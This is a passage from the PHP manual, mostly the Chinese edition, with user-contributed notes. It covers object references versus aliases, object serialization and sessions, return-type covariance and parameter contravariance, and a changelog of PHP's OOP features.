//Value: Super Last Foo!
//}
//}
?>

Per the last line, A(b)'s "copy" of A(c) is still a reference to the original A(b) as stored in A, even after unserializing.
gevorgmelkoumyan at gmail dot com 06-Jan-2019 03:46
I think this example should clarify the difference between PHP references (aliases) and pointers:

<?php

class A {
    public $var = 42;
}

$a = new A; // $a points to the object with id=1
echo 'A: ' . $a->var . PHP_EOL; // A: 42

$b = $a; // $b points to the object with id=1
echo 'B: ' . $b->var . PHP_EOL; // B: 42

$b->var = 5;
echo 'B: ' . $b->var . PHP_EOL; // B: 5
echo 'A: ' . $a->var . PHP_EOL; // A: 5

$b = new A; // now $b points to the object with id=2, but $a still points to the 1st object
echo 'B: ' . $b->var . PHP_EOL; // B: 42
echo 'A: ' . $a->var . PHP_EOL; // A: 5

?>
wassimamal121 at hotmail dot com 26-May-2015 04:43
The example given by PHP manual is pretty clever and simple.
The example begins by explaining how things go when two aliases referring to the same objects are changed, just rethink the first part of the example
<?php

class A {    public $foo = 1;}
function go($obj) {  $obj->foo = 2;}
function bo($obj) {$obj=new A;}

function chan($p){$p=44;}
function chanref(&$p){$p=44;}

/**************manipulating simple variable******************/
$h=2;$k=$h;$h=4; echo '$k='.$k."<br/>";
//$k refers to a memory cell containing the value 2
//$k is created and referes to another cell in the RAM
//$k=$h implies take the content of the cell to which $h refers
//and put it in the cell to which $k refers to
//$h=4 implies change the content of the cell to which $h refers to
//dosn't imply changing the content of the cell to which $k refers to

$h=2;$k=&$h;$h=4; echo '$k='.$k."<br/>";
//here $k refers to the same memory cell as $h

$v=2;chan($v); echo '$v='.$v."<br/>";
//the value of $v doesn't change because the function takes
// as argument an alias  refering to a value 2, in the function we
//change only the value to which this alias refers to

$u=2;chanref($u); echo '$u='.$u."<br/>";
//here the value changes because we pass a adress of the
//memory cell to which $u refers to, the function is manipulating
//the content of this memory cell

/***************manipaliting objects************************/
$a = new A;
//create an object by allocating some cells in memory, $a refers
//to this cells

$b = $a;
//$b refers to the same cells, it's not like simple variables
//which are created then, we copy the content

$b->foo = 2;echo $a->foo."<br/>";
//you can access the same object using both $a or $b

$c = new A;$d = &$c;$d->foo = 2;echo $c->foo."<br/>";
//$d and $c don't just refers to the same memory space,
//but they are the same

$e = new A;
go($e);
//we pass a copy of a pointer
echo $e->foo."<br/>";
bo($e);
echo $e->foo."<br/>";
//if you think it's 1 sorry I failed to explain
//remember you passed just a pointer, when new is called
//the pointer is discoupled
?>
akam at akameng dot com 29-Aug-2013 09:30
Object is being referenced even after the original object deleted, so be careful when copying objects into your array.

<?php
$result = json_decode(' {"1":1377809496,"2":1377813096}');
$copy1['object'] = $result;
$copy2['object'] = $result;

unset($result);

//now lets change $copy1['object'][1] to 'test';
$copy1['object']->{"1"} = 'test';

echo ($copy1 === $copy2) ? "Yes" : "No";
print_r($copy2);
/*
Array
(
    [API] => stdClass Object
        (
            [1] => test
            [2] => 1377813096
        )

)
*/
?>
cesoid at gmail dot com 27-May-2013 04:45
Comparing an alias to a pointer is like comparing a spoken word to the neurochemistry of the speaker. You know that the speaker can use two different words to refer to the same thing, but what's going on in their brain to make this work is something you don't want to have to think about every time they speak. (If you're programming in assembly or, less so, in C++, you're out of luck there.)

Likewise, PHP *the language* and a given php interpretor are not the same thing, and this post and most of these comments leave that out in the explanation. An alias/reference is a part of the language, a pointer is a part of how the computer makes the reference work. You often have little guarantee that an interpreter will continue working the same way internally.

From a functional point of view the internals of the interpreter *do* matter for optimization, but *don't* matter in terms of the end result of the program. A higher level programming language such as PHP is supposed to try to hide such details from the programmer so that they can write clearer, more manageable code, and do it quickly.

Unfortunately, years ago, using pass-by-reference a lot actually was very useful in terms of optimizing. Fortunately, that ended years ago, so now we no longer need to perform a reference assignment and hope that we remember not to change one variable when the other one is supposed to stay the same. By the time you read this the php that is sending these words to you may be running on a server that uses some kind of new exotic technology for which the word "pointer" no longer accurately describes anything, because the server stores both the program state and instructions intermingled in non-sequential atoms bonded into molecules which work by randomly bouncing off each other at high speeds, thereby exchanging atoms and crossbreeding their instructions and information in such a way as to, in aggregate, successfully run php 5 code. But the code itself will still have references that work the same way they did before, and you will therefore not have to think about whether the machine I just described makes any sense at all.
Jon Whitener 15-Aug-2012 01:55
The use of clone may get you the behavior you expect when passing an object to a function, as shown below using DateTime objects as examples.

<?php
date_default_timezone_set( "America/Detroit" );

$a = new DateTime;
echo "a = " . $a->format('Y-m-j') . "\n";

// This might not give what you expect...
$b = upDate( $a ); // a and b both updated
echo "a = " . $a->format('Y-m-j') . ", b = " . $b->format('Y-m-j') . "\n";
$a->modify( "+ 1 day" ); // a and b both modified
echo "a = " . $a->format('Y-m-j') . ", b = " . $b->format('Y-m-j') . "\n";

// This might be what you want...
$c = upDateClone( $a ); // only c updated, a left alone
echo "a = " . $a->format('Y-m-j') . ", c = " . $c->format('Y-m-j') . "\n";

function upDate( $datetime ) {
    $datetime->modify( "+ 1 day" );
    return $datetime;
}

function upDateClone( $datetime ) {
    $dt = clone $datetime;
    $dt->modify( "+ 1 day" );
    return $dt;
}
?>

The above would output something like:

a = 2012-08-15
a = 2012-08-16, b = 2012-08-16
a = 2012-08-17, b = 2012-08-17
a = 2012-08-17, c = 2012-08-18
kristof at viewranger dot com 16-Jun-2012 02:07
I hope this clarifies references a bit more:

<?php
class A {
    public $foo = 1;
}

$a = new A;
$b = $a;
$a->foo = 2;
$a = NULL;
echo $b->foo."\n"; // 2

$c = new A;
$d = &$c;
$c->foo = 2;
$c = NULL;
echo $d->foo."\n"; // Notice:  Trying to get property of non-object...
?>
Anonymous 23-Nov-2011 07:57
this example could help:

<?php
class A {
    public $testA = 1;
}

class B {
    public $testB = "class B";
}

$a = new A;
$b = $a;
$b->testA = 2;

$c = new B;
$a = $c;

$a->testB = "Changed Class B";

echo "<br/> object a: "; var_dump($a);
echo "<br/> object b: "; var_dump($b);
echo "<br/> object c: "; var_dump($c);

// by reference

$aa = new A;
$bb = &$aa;
$bb->testA = 2;

$cc = new B;
$aa = $cc;

$aa->testB = "Changed Class B";

echo "<br/> object aa: "; var_dump($aa);
echo "<br/> object bb: "; var_dump($bb);
echo "<br/> object cc: "; var_dump($cc);

?>
Rob Marscher 03-Feb-2011 09:33
Here's an example I created that helped me understand the difference between passing objects by reference and by value in php 5.

<?php
class A {
    public $foo = 'empty';
}
class B {
    public $foo = 'empty';
    public $bar = 'hello';
}

function normalAssignment($obj) {
    $obj->foo = 'changed';
    $obj = new B;
}

function referenceAssignment(&$obj) {
    $obj->foo = 'changed';
    $obj = new B;
}

$a = new A;
normalAssignment($a);
echo get_class($a), "\n";
echo "foo = {$a->foo}\n";

referenceAssignment($a);
echo get_class($a), "\n";
echo "foo = {$a->foo}\n";
echo "bar = {$a->bar}\n";

/*
prints:
A
foo = changed
B
foo = empty
bar = hello
*/
?>
Anonymous 16-Jan-2011 08:51
There seems to be some confusion here. The distinction between pointers and references is not particularly helpful.
The behavior in some of the "comprehensive" examples already posted can be explained in simpler unifying terms. Hayley's code, for example, is doing EXACTLY what you should expect it should. (Using >= 5.3)

First principle:
A pointer stores a memory address to access an object. Any time an object is assigned, a pointer is generated. (I haven't delved TOO deeply into the Zend engine yet, but as far as I can see, this applies)

2nd principle, and source of the most confusion:
Passing a variable to a function is done by default as a value pass, ie, you are working with a copy. "But objects are passed by reference!" A common misconception both here and in the Java world. I never said a copy OF WHAT. The default passing is done by value. Always. WHAT is being copied and passed, however, is the pointer. When using the "->", you will of course be accessing the same internals as the original variable in the caller function. Just using "=" will only play with copies.

3rd principle:
"&" automatically and permanently sets another variable name/pointer to the same memory address as something else until you decouple them. It is correct to use the term "alias" here. Think of it as joining two pointers at the hip until forcibly separated with "unset()". This functionality exists both in the same scope and when an argument is passed to a function. Often the passed argument is called a "reference," due to certain distinctions between "passing by value" and "passing by reference" that were clearer in C and C++.

Just remember: pointers to objects, not objects themselves, are passed to functions. These pointers are COPIES of the original unless you use "&" in your parameter list to actually pass the originals. Only when you dig into the internals of an object will the originals change.

Example:

<?php

//The two are meant to be the same
$a = "Clark Kent"; //a==Clark Kent
$b = &$a; //The two will now share the same fate.

$b="Superman"; // $a=="Superman" too.
echo $a;
echo $a="Clark Kent"; // $b=="Clark Kent" too.
unset($b); // $b divorced from $a
$b="Bizarro";
echo $a; // $a=="Clark Kent" still, since $b is a free agent pointer now.

//The two are NOT meant to be the same.
$c="King";
$d="Pretender to the Throne";
echo $c."\n"; // $c=="King"
echo $d."\n"; // $d=="Pretender to the Throne"
swapByValue($c, $d);
echo $c."\n"; // $c=="King"
echo $d."\n"; // $d=="Pretender to the Throne"
swapByRef($c, $d);
echo $c."\n"; // $c=="Pretender to the Throne"
echo $d."\n"; // $d=="King"

function swapByValue($x, $y){
$temp=$x;
$x=$y;
$y=$temp;
//All this beautiful work will disappear
//because it was done on COPIES of pointers.
//The originals pointers still point as they did.
}

function swapByRef(&$x, &$y){
 $temp=$x;
 $x=$y;
 $y=$temp;
 //Note the parameter list: now we switched 'em REAL good.
}

?>
Hayley Watson 29-Mar-2010 07:21
Using &$this can result in some weird and counter-intuitive behaviour - it starts lying to you.

<?php

class Bar
{
    public $prop = 42;
}

class Foo
{
    public $prop = 17;
    function boom()
    {
        $bar = &$this;
        echo "\$bar is an alias of \$this, a Foo.\n";
        echo '$this is a ', get_class($this), '; $bar is a ', get_class($bar), "\n";

        echo "Are they the same object? ", ($bar === $this ? "Yes\n" : "No\n");
        echo "Are they equal? ", ($bar === $this ? "Yes\n" : "No\n");
        echo '$this says its prop value is ';
        echo $this->prop;
        echo ' and $bar says it is ';
        echo $bar->prop;
        echo "\n";

        echo "\n";

        $bar = new Bar;
        echo "\$bar has been made into a new Bar.\n";
        echo '$this is a ', get_class($this), '; $bar is a ', get_class($bar), "\n";

        echo "Are they the same object? ", ($bar === $this ? "Yes\n" : "No\n");
        echo "Are they equal? ", ($bar === $this ? "Yes\n" : "No\n");
        echo '$this says its prop value is ';
        echo $this->prop;
        echo ' and $bar says it is ';
        echo $bar->prop;
        echo "\n";

    }
}

$t = new Foo;
$t->boom();
?>
In the above $this claims to be a Bar (in fact it claims to be the very same object that $bar is), while still having all the properties and methods of a Foo.

Fortunately it doesn't persist beyond the method where you committed the faux pas.
<?php
echo get_class($t), "\t", $t->prop;
?>
miklcct at gmail dot com 07-Jan-2010 01:34
Notes on reference:
A reference is not a pointer. However, an object handle IS a pointer. Example:
<?php
class Foo {
  private static $used;
  private $id;
  public function __construct() {
    $id = $used++;
  }
  public function __clone() {
    $id = $used++;
  }
}

$a = new Foo; // $a is a pointer pointing to Foo object 0
$b = $a; // $b is a pointer pointing to Foo object 0, however, $b is a copy of $a
$c = &$a; // $c and $a are now references of a pointer pointing to Foo object 0
$a = new Foo; // $a and $c are now references of a pointer pointing to Foo object 1, $b is still a pointer pointing to Foo object 0
unset($a); // A reference with reference count 1 is automatically converted back to a value. Now $c is a pointer to Foo object 1
$a = &$b; // $a and $b are now references of a pointer pointing to Foo object 0
$a = NULL; // $a and $b now become a reference to NULL. Foo object 0 can be garbage collected now
unset($b); // $b no longer exists and $a is now NULL
$a = clone $c; // $a is now a pointer to Foo object 2, $c remains a pointer to Foo object 1
unset($c); // Foo object 1 can be garbage collected now.
$c = $a; // $c and $a are pointers pointing to Foo object 2
unset($a); // Foo object 2 is still pointed by $c
$a = &$c; // Foo object 2 has 1 pointers pointing to it only, that pointer has 2 references: $a and $c;
const ABC = TRUE;
if(ABC) {
  $a = NULL; // Foo object 2 can be garbage collected now because $a and $c are now a reference to the same NULL value
} else {
  unset($a); // Foo object 2 is still pointed to $c
}
mjung at poczta dot onet dot pl 15-Aug-2009 10:25
Ultimate explanation to object references:
NOTE: wording 'points to' could be easily replaced with 'refers ' and is used loosly.
<?php
$a1 = new A(1);  // $a1 == handle1-1 to A(1)
$a2 = $a1;     // $a2 == handle1-2 to A(1) - assigned by value (copy)
$a3 = &$a1;  // $a3 points to $a1 (handle1-1)
$a3 = null;      // makes $a1==null, $a3 (still) points to $a1, $a2 == handle1-2 (same object instance A(1))
$a2 = null;      // makes $a2 == null
$a1 = new A(2); //makes $a1 == handle2-1 to new object and $a3 (still) points to $a1 => handle2-1 (new object), so value of $a1 and $a3 is the new object and $a2 == null
//By reference:
$a4 = &new A(4);  //$a4 points to handle4-1 to A(4)
$a5 = $a4;   // $a5 == handle4-2 to A(4) (copy)
$a6 = &$a4;  //$a6 points to (handle4-1), not to $a4 (reference to reference references the referenced object handle4-1 not the reference itself)

$a4 = &new A(40); // $a4 points to handle40-1, $a5 == handle4-2 and $a6 still points to handle4-1 to A(4)
$a6 = null;  // sets handle4-1 to null; $a5 == handle4-2 = A(4); $a4 points to handle40-1; $a6 points to null
$a6 =&$a4; // $a6 points to handle40-1
$a7 = &$a6; //$a7 points to handle40-1
$a8 = &$a7; //$a8 points to handle40-1
$a5 = $a7;  //$a5 == handle40-2 (copy)
$a6 = null; //makes handle40-1 null, all variables pointing to (hanlde40-1 ==null) are null, except ($a5 == handle40-2 = A(40))
?>
Hope this helps.
Aaron Bond 19-Jun-2009 06:08
I've bumped into a behavior that helped clarify the difference between objects and identifiers for me.

When we hand off an object variable, we get an identifier to that object's value.  This means that if I were to mutate the object from a passed variable, ALL variables originating from that instance of the object will change.

HOWEVER, if I set that object variable to new instance, it replaces the identifier itself with a new identifier and leaves the old instance in tact.

Take the following example:

<?php
class A {
    public $foo = 1;
}

class B {
    public function foo(A $bar)
    {
        $bar->foo = 42;
    }

    public function bar(A $bar)
    {
        $bar = new A;
    }
}

$f = new A;
$g = new B;
echo $f->foo . "\n";

$g->foo($f);
echo $f->foo . "\n";

$g->bar($f);
echo $f->foo . "\n";

?>

If object variables were always references, we'd expect the following output:
1
42
1

However, we get:
1
42
42

The reason for this is simple.  In the bar function of the B class, we replace the identifier you passed in, which identified the same instance of the A class as your $f variable, with a brand new A class identifier.  Creating a new instance of A doesn't mutate $f because $f wasn't passed as a reference.

To get the reference behavior, one would have to enter the following for class B:

<?php
class B {
    public function foo(A $bar)
    {
        $bar->foo = 42;
    }

    public function bar(A &$bar)
    {
        $bar = new A;
    }
}
?>

The foo function doesn't require a reference, because it is MUTATING an object instance that $bar identifies.  But bar will be REPLACING the object instance.  If only an identifier is passed, the variable identifier will be overwritten but the object instance will be left in place.
Ivan Bertona 15-Oct-2008 08:45
A point that in my opinion is not stressed enough in the manual page is that in PHP5, passing an object as an argument of a function call with no use of the & operator means passing BY VALUE an unique identifier for that object (intended as instance of a class), which will be stored in another variable that has function scope.

This behaviour is the same used in Java, where indeed there is no notion of passing arguments by reference. On the other hand, in PHP you can pass a value by reference (in PHP we refer to references as "aliases"), and this poses a threat if you are not aware of what you are really doing. Please consider these two classes:

<?php
class A
{
    function __toString() {
        return "Class A";
    }
}

class B
{
    function __toString() {
        return "Class B";
    }
}
?>

In the first test case we make two objects out of the classes A and B, then swap the variables using a temp one and the normal assignment operator (=).

<?php
$a = new A();
$b = new B();

$temp = $a;
$a = $b;
$b = $temp;

print('$a: ' . $a . "\n");
print('$b: ' . $b . "\n");
?>

As expected the script will output:

$a: Class B
$b: Class A

Now consider the following snippet. It is similar to the former but the assignment $a = &$b makes $a an ALIAS of $b.

<?php
$a = new A();
$b = new B();

$temp = $a;
$a = &$b;
$b = $temp;

print('$a: ' . $a . "\n");
print('$b: ' . $b . "\n");
?>

This script will output:

$a: Class A
$b: Class A

That is, modifying $b reflects the same assignment on $a... The two variables end pointing to the same object, and the other one is lost. To sum up is a good practice NOT using aliasing when handling PHP5 objects, unless your are really really sure of what you are doing.
lazybones_senior 30-Sep-2008 06:57
WHOA... KEEP IT SIMPLE!

In regards to secure_admin's note: You've used OOP to simplify PHP's ability to create and use object references. Now use PHP's static keyword to simplify your OOP.

<?php

class DataModelControl {
  protected static $data = 256; // default value;
  protected $name;

  public function __construct($dmcName) {
    $this->name = $dmcName;
  }

  public static function setData($dmcData) {
    if(is_numeric($dmcData)) {
      self::$data = $dmcData;
    }
  }

  public function __toString() {
    return "DataModelControl [name=$this->name, data=" . self::$data . "]";
  }
}

# create several instances of DataModelControl...
$dmc1 = new DataModelControl('dmc1');
$dmc2 = new DataModelControl('dmc2');
$dmc3 = new DataModelControl('dmc3');
echo $dmc1 . '<br>';
echo $dmc2 . '<br>';
echo $dmc3 . '<br><br>';

# To change data, use any DataModelControl object...
$dmc2->setData(512);
# Or, call setData() directly from the class...
DataModelControl::setData(1024);
echo $dmc1 . '<br>';
echo $dmc2 . '<br>';
echo $dmc3 . '<br><br>';
?>

 DataModelControl [name=dmc1, data=256]
 DataModelControl [name=dmc2, data=256]
 DataModelControl [name=dmc3, data=256]

 DataModelControl [name=dmc1, data=1024]
 DataModelControl [name=dmc2, data=1024]
 DataModelControl [name=dmc3, data=1024]

... even better! Now, PHP creates one copy of $data, that is shared amongst all DataModelControl objects.
wbcarts at juno dot com 30-Sep-2008 01:23
A BIT DILUTED... but it's alright!

In the PHP example above, the function foo($obj), will actually create a $foo property to "any object" passed to it - which brings some confusion to me:
  $obj = new stdClass();
  foo($obj);    // tags on a $foo property to the object
                // why is this method here?
Furthermore, in OOP, it is not a good idea for "global functions" to operate on an object's properties... and it is not a good idea for your class objects to let them. To illustrate the point, the example should be:

<?php

class A {
  protected $foo = 1;

  public function getFoo() {
    return $this->foo;
  }

  public function setFoo($val) {
    if($val > 0 && $val < 10) {
      $this->foo = $val;
    }
  }

  public function __toString() {
    return "A [foo=$this->foo]";
  }
}

$a = new A();
$b = $a;                        // $a and $b are copies of the same identifier
                                // ($a) = ($b) = <id>
$b->setFoo(2);
echo $a->getFoo() . '<br>';

$c = new A();
$d = &$c;                       // $c and $d are references
                                // ($c,$d) = <id>
$d->setFoo(2);
echo $c . '<br>';

$e = new A();
$e->setFoo(16);                 // will be ignored
echo $e;

?>
 - - -
 2
 A [foo=2]
 A [foo=1]
 - - -
Because the global function foo() has been deleted, class A is more defined, robust and will handle all foo operations... and only for objects of type A. I can now take it for granted and see clearly that your are talking about "A" objects and their references. But it still reminds me too much of cloning and object comparisons, which to me borders on machine-like programming and not object-oriented programming, which is a totally different way to think.


对象序列化

序列化对象 - 在会话中存放对象

所有 PHP 里面的值都可以使用函数 serialize() 来返回一个包含字节流的字符串来表示。unserialize() 函数能够重新把字符串变回 PHP 原来的值。序列化一个对象将会保存对象的所有变量，但是不会保存对象的方法，只会保存类的名字。

为了能够 unserialize() 一个对象，这个对象的类必须已经定义过。如果序列化类 A 的一个对象，将会返回一个跟类 A 相关，而且包含了对象所有变量值的字符串。 如果要想在另外一个文件中反序列化一个对象，这个对象的类必须在反序列化之前定义，可以通过包含一个定义该类的文件或使用函数 spl_autoload_register() 来实现。

<?php
// A.php:

class A {
public $one = 1;

public function show_one() {
echo $this->one;
}
}

// page1.php:

include "A.php";

$a = new A;
$s = serialize($a);
// 把变量$s保存起来以便文件page2.php能够读到
file_put_contents('store', $s);

// page2.php:

// 要正确反序列化，必须包含下面一个文件
include "A.php";

$s = file_get_contents('store');
$a = unserialize($s);

// 现在可以使用对象$a里面的函数 show_one()
$a->show_one();
?>

在应用程序中序列化对象以便在之后使用，强烈推荐在整个应用程序都包含对象的类的定义。 不然有可能出现在反序列化对象的时候，没有找到该对象的类的定义，从而把没有方法的类 __PHP_Incomplete_Class_Name 作为该对象的类，导致返回一个没有用的对象。

所以在上面的例子中，通过在 $_SESSION 超全局数组中添加新的键，把变量 $a 放在会话里之后，需要在每个页面都包含文件 A.php， 而不是只有文件 page1.php 和 page2.php。

除了以上建议，可以在对象上使用 __sleep() 和 __wakeup() 方法对序列化/反序列化事件挂载钩子。 使用 __sleep() 也能够让你仅序列化对象的某些属性。

User Contributed Notes

Yahia Fouda 16-Nov-2022 05:46
This trick can be useful when you need to pass object data as strings of text between scripts and applications. Common situations include:

* Passing objects via fields in web forms
* Passing objects in URL query strings
* Storing object data in a text file, or in a single database field

and Sometimes it's useful to do some cleaning up before serializing an object. For example, you might want to write unsaved object data to a database and close the database connection. Similarly, after you've unserialized an object, you might want to restore its database connection and perform other setup tasks so that the new object can be used properly.
Anonymous 09-Dec-2020 06:58
Until such time as these documents are updated, note that `session_register()` is not needed to automatically serialize & unserialize objects in sessions. Any objects in `$_SESSION` are serialized when the session is closed (via `session_write_close()` or upon script exit) & unserialized when opened (via `session_start()`). The note about including classes throughout an app (either by including the definition globally or autoloading it) still holds.
michael at smith-li dot com 23-Feb-2015 07:28
Reading this page you'd be left with the impression that a class's `serialize` and `unserialize` methods are unrelated to the `serialize` and `unserialize` core functions; that only `__sleep` and `__unsleep` allow you to customize an object's serialization interface. But look at http://php.net/manual/en/class.serializable.php and you'll see that there is a more straightforward way to control how a user-defined object is serialized and unserialized.
php at lanar dot com dot au 18-Oct-2009 04:47
Note that static members of an object are not serialized.


协变与逆变

在 PHP 7.2.0 里，通过对子类方法里参数的类型放宽限制，实现对逆变的部分支持。 自 PHP 7.4.0 起开始支持完整的协变和逆变。

协变使子类比父类方法能返回更具体的类型； 逆变使子类比父类方法参数类型能接受更模糊的类型。

在以下情况下，类型声明被认为更具体：

  • 在 联合类型 中删除类型
  • 在 交集类型 中添加类型
  • 类类型（class type）修改为子类类型
  • iterable 修改为 array 或者 Traversable
如果情况相反，则类型类被认为是模糊的。

协变

创建一个名为 Animal 的简单的抽象父类，用于演示什么是协变。 两个子类：Cat 和 Dog 扩展（extended）了 Animal。

<?php

abstract class Animal
{
protected string $name;

public function __construct(string $name)
{
$this->name = $name;
}

abstract public function speak();
}

class Dog extends Animal
{
public function speak()
{
echo $this->name . " barks";
}
}

class Cat extends Animal
{
public function speak()
{
echo $this->name . " meows";
}
}

注意：在这个例子中，没有方法返回了值。 将通过添加个别工厂方法，创建并返回 Animal、Cat、Dog 类型的新对象。

<?php

interface AnimalShelter
{
public function adopt(string $name): Animal;
}

class CatShelter implements AnimalShelter
{
public function adopt(string $name): Cat // 返回类的类型不仅限于 Animal，还可以是 Cat 类型
{
return new Cat($name);
}
}

class DogShelter implements AnimalShelter
{
public function adopt(string $name): Dog // 返回类的类型不仅限于 Animal，还可以是 Dog 类型
{
return new Dog($name);
}
}

$kitty = (new CatShelter)->adopt("Ricky");
$kitty->speak();
echo "\n";

$doggy = (new DogShelter)->adopt("Mavrick");
$doggy->speak();

以上示例会输出：

Ricky meows
Mavrick barks

逆变

继续上一个例子，除了 Animal、 Cat、Dog，我们还添加了 Food、AnimalFood 类， 同时为抽象类 Animal 添加了一个 eat(AnimalFood $food) 方法。

<?php

class Food {}

class AnimalFood extends Food {}

abstract class Animal
{
protected string $name;

public function __construct(string $name)
{
$this->name = $name;
}

public function eat(AnimalFood $food)
{
echo $this->name . " eats " . get_class($food);
}
}

为了演示什么是逆变，Dog 类重写（overridden）了 eat 方法， 允许传入任意 Food 类型的对象。 而 Cat 类保持不变。

<?php

class Dog extends Animal
{
public function eat(Food $food) {
echo $this->name . " eats " . get_class($food);
}
}

下面的例子展示了逆变。

<?php

$kitty = (new CatShelter)->adopt("Ricky");
$catFood = new AnimalFood();
$kitty->eat($catFood);
echo "\n";

$doggy = (new DogShelter)->adopt("Mavrick");
$banana = new Food();
$doggy->eat($banana);

以上示例会输出：

Ricky eats AnimalFood
Mavrick eats Food

但 $kitty 若尝试 eat() $banana 会发生什么呢？

$kitty->eat($banana);

以上示例会输出：

Fatal error: Uncaught TypeError: Argument 1 passed to Animal::eat() must be an instance of AnimalFood, instance of Food given

User Contributed Notes

Hayley Watson 26-Oct-2022 12:48
The gist of how the Liskov Substition Princple applies to class types is, basically: "If an object is an instance of something, it should be possible to use it wherever an instance of something is allowed". The Co- and Contravariance rules come from this expectation when you remember that "something" could be a parent class of the object.

For the Cat/Animal example of the text, Cats are Animals, so it should be possible for Cats to go anywhere Animals can go. The variance rules formalise this.

Covariance: A subclass can override a method in the parent class with one that has a narrower return type. (Return values can be more specific in more specific subclasses; they "vary in the same direction", hence "covariant").
If an object has a method you expect to produce Animals, you should be able to replace it with an object where that method produces only Cats. You'll only get Cats from it but Cats are Animals, which are what you expected from the object.

Contravariance: A subclass can override a method in the parent class with one that has a parameter with a wider type. (Parameters can be less specific in more specific subclasses; they "vary in the opposite direction", hence "contravariant").
If an object has a method you expect to take Cats, you should be able to replace it with an object where that method takes any sort of Animal. You'll only be giving it Cats but Cats are Animals, which are what the object expected from you.

So, if your code is working with an object of a certain class, and it's given an instance of a subclass to work with, it shouldn't cause any trouble:
It might accept any sort of Animal where you're only giving it Cats, or it might only return Cats when you're happy to receive any sort of Animal, but LSP says "so what? Cats are Animals so you should both be satisfied."
hrustbb2 at gmail dot com 11-May-2022 04:05
Почему это не работает с интерфейсами? Почему я не могу в дочернем методе ограничить тип возвращаемого значения более конкретным интерфейсом?
jotaelesalinas at example dot com 21-Apr-2022 03:55
Bear in mind that, although the PHP syntax does not allow stricter method parameter types, you can achieve it programmatically:

<?php
class AnimalFood { ... }
class CatFood extends AnimalFood { ... }

class Animal
{
    public function eat(AnimalFood $food) {
        echo $this->name . " eats " . get_class($food);
    }
}

class Cat extends Animal
{
    public function eat(AnimalFood $food) {
        if (!$food instanceof CatFood) {
           throw new \InvalidArgumentException(...);
        }
        parent::eat($food);
    }
}
?>
maxim dot kainov at gmail dot com 04-Apr-2021 05:57
This example will not work:

<?php

class CatFood extends AnimalFood { }

class Cat extends Animal
{
    public function eat(CatFood $food) {
        echo $this->name . " eats " . get_class($food);
    }
}

?>

The reason is:

<?php
    class DogFood extends AnimalFood { }

    function feedAnimal(Animal $animal, AnimalFood $food) {
        $animal->eat($food);
    }

    $cat = new Cat();
    $dogFood = new DogFood();

    feedAnimal($cat, $dogFood);
?>

But you can do it with traits, like this:

<?php

trait AnimalTrait
{
    public function eat(AnimalFood $food)
    {
        echo $this->name . " ест " . get_class($food);
    }
}

class Cat
{
    use AnimalTrait;

    public function eat(CatFood $food) {
        echo $this->name . " eats " . get_class($food);
    }
}

?>
phpnet-at-kennel17-dotco-dotuk 20-Jan-2021 05:51
Following the examples above, you might assume the following would be possible.

<?php

class CatFood extends AnimalFood { ... }

class Cat extends Animal
{
    public function eat(CatFood $food) {
        echo $this->name . " eats " . get_class($food);
    }
}

?>

However, the Liskov Substitution Prinicpal, and therefore PHP, forbids this.  There's no way for cats to eat cat food, if animals are defined as eating animal food.

There are a large number of legitimate abstractions that are forbidden by PHP, due to this restriction.
Anonymous 12-Feb-2020 08:47
Covariance also works with general type-hinting, note also the interface:

interface xInterface
{
    public function y() : object;
}

abstract class x implements xInterface
{
    abstract public function y() : object;
}

class a extends x
{
    public function y() : \DateTime
    {
        return new \DateTime("now");
    }
}

$a = new a;
echo '<pre>';
var_dump($a->y());
echo '</pre>';
xedin dot unknown at gmail dot com 13-Jan-2020 04:20
I would like to explain why covariance and contravariance are important, and why they apply to return types and parameter types respectively, and not the other way around.

Covariance is probably easiest to understand, and is directly related to the Liskov Substitution Principle. Using the above example, let's say that we receive an `AnimalShelter` object, and then we want to use it by invoking its `adopt()` method. We know that it returns an `Animal` object, and no matter what exactly that object is, i.e. whether it is a `Cat` or a `Dog`, we can treat them the same. Therefore, it is OK to specialize the return type: we know at least the common interface of any thing that can be returned, and we can treat all of those values in the same way.

Contravariance is slightly more complicated. It is related very much to the practicality of increasing the flexibility of a method. Using the above example again, perhaps the "base" method `eat()` accepts a specific type of food; however, a _particular_ animal may want to support a _wider range_ of food types. Maybe it, like in the above example, adds functionality to the original method that allows it to consume _any_ kind of food, not just that meant for animals. The "base" method in `Animal` already implements the functionality allowing it to consume food specialized for animals. The overriding method in the `Dog` class can check if the parameter is of type `AnimalFood`, and simply invoke `parent::eat($food)`. If the parameter is _not_ of the specialized type, it can perform additional or even completely different processing of that parameter - without breaking the original signature, because it _still_ handles the specialized type, but also more. That's why it is also related closely to the Liskov Substitution: consumers may still pass a specialized food type to the `Animal` without knowing exactly whether it is a `Cat` or `Dog`.


OOP 变更日志

这里只记录了 PHP OOP 模型的变更记录。有关变更功能的具体描述与其他相关注意事项，可以到具体的 OOP 文档链接中查看。

版本 | 说明
8.1.0 | 添加：支持类常量的 final 修饰符。此外，接口常量默认可覆盖。
8.0.0 | 添加：支持 nullsafe 操作符 ?-> 来访问可能为空的对象中的属性和方法。
7.4.0 | 已变更：可以通过 __toString() 抛出异常。
7.4.0 | 增加：支持限制返回类型协变与参数类型逆变。 如果使用自动加载，则完整的差异支持可用。 在一个文件内，只有非循环类型引用是可能的。
7.4.0 | 增加：可以给类属性增加类型。
7.3.0 | 不兼容：不再支持对使用非 int 键的 Traversable 进行参数解包。该功能不是有意设计的，因此被删除。
7.3.0 | 不兼容：在以前的版本中，可以通过分配一个引用来分离静态属性，这一特性已被移除。
7.3.0 | 已变更： instanceof 运算符允许将字面量作为第一个操作数，在这种情况下，结果始终是 false 。
7.2.0 | 废弃：__autoload() 方法已被废弃，请使用 spl_autoload_register() 代替。
7.2.0 | 已变更：object 做为保留关键字，不允许做为 classes、interfaces、traits 的名称。
7.2.0 | 已变更：分组引入命名空间时，允许行尾添加多余的逗号分隔符。
7.2.0 | 已变更：参数类型扩展。 现在可以省略来自重写方法和从接口实现的参数类型。
7.2.0 | 已变更：当一个抽象类（abstract class）继承另一个抽象类时，抽象的方法现在可以被覆写。
7.1.0 | 已变更：增加系统保留关键字 void 和 iterable，不允许做为 classes、interfaces、traits 的名称。
7.1.0 | 增加：类常量增加了 访问控制（可见性）。
7.0.0 | 废弃：对未声明为静态的方法（Static）的静态调用。
7.0.0 | 废弃：PHP 4 风格的构造函数 constructor 已被废弃。
7.0.0 | 增加： use 组声明：同一个命名空间导入的类、函数、常量现在可以组合在一个 use 语句中。
7.0.0 | 增加：使用 new class 语法来支持 匿名类。
7.0.0 | 不兼容：遍历非 Traversable object 将跟遍历引用 array 具有相同的行为。
